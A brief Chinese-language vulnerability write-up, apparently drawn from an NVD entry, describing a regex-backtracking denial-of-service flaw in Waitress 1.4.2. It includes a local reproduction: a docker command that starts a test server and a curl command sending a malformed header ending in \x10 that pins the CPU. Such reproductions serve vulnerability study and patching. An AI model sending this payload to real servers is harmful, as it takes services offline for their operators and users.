Waitress 1.4.2 版本存在一个拒绝服务(DOS)漏洞。当 waitress 接收到包含无效字符的请求头时,会触发该漏洞。例如,收到类似 "Bad-header: xxxxxxxxxxxxxxx\x10" 的请求头,会导致正则表达式引擎灾难性回溯,使进程 CPU 占用率达到 100%,并阻塞所有其他交互。攻击者可以发送单个包含无效请求头的请求,从而将服务离线。
由 NVD 提供
$ docker run --rm --name waitress -v "$PWD/src:/src" -p "8080:8080" -it python:3.7-slim python /src/server.py
$ curl "http://127.0.0.1:8080/hello/hogefuga" -H "Bad-header: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx`echo -n '\x10'`"
查看服务器的 CPU 使用率。执行 docker stats waitress。

↓ 执行 PoC
